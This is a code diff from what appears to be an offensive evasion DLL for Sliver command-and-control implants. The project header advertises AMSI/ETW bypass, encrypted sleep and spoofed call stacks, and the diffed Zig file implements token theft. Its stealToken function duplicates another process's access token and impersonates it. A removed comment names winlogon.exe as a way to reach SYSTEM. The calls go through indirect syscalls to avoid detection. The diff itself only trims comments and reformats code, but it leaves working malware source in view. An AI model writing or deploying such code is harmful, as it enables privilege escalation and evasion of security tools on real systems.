Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

evasion/token.zig

@@ -1,15 +1,10 @@
-// Token impersonation — steal token from target process, revert to self.
-// All calls via indirect syscalls.
-// Ref: https://ntdoc.m417z.com/ntopenprocesstoken, https://ntdoc.m417z.com/ntduplicatetoken
-// MITRE: T1134.001 (Access Token Manipulation)
+// Token impersonation via indirect syscalls.
 const std = @import("std");
 const syscall = @import("syscall.zig");
 const win = @import("win32.zig");
 
 const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum
 
-// Steals the token from a target process and impersonates it on the current thread.
-// pid: target process ID (e.g. winlogon.exe for SYSTEM).
 pub fn stealToken(pid: u32) bool {
     var cid = std.mem.zeroes(win.CLIENT_ID);
     cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
@@ -34,16 +29,16 @@ pub fn stealToken(pid: u32) bool {
     return win.NT_SUCCESS(syscall.nt_set_information_thread(
         syscall.nt_current_thread(),
         ThreadImpersonationToken,
-        @ptrCast(&dup_token), @sizeOf(win.HANDLE),
+        @ptrCast(&dup_token),
+        @sizeOf(win.HANDLE),
     ));
 }
 
-// Reverts to the process's primary token, stopping impersonation.
-// nt_set_information_thread now accepts ?*const anyopaque — null + 0 → revert.
 pub fn rev2self() bool {
     return win.NT_SUCCESS(syscall.nt_set_information_thread(
         syscall.nt_current_thread(),
         ThreadImpersonationToken,
-        null, 0,
+        null,
+        0,
     ));
 }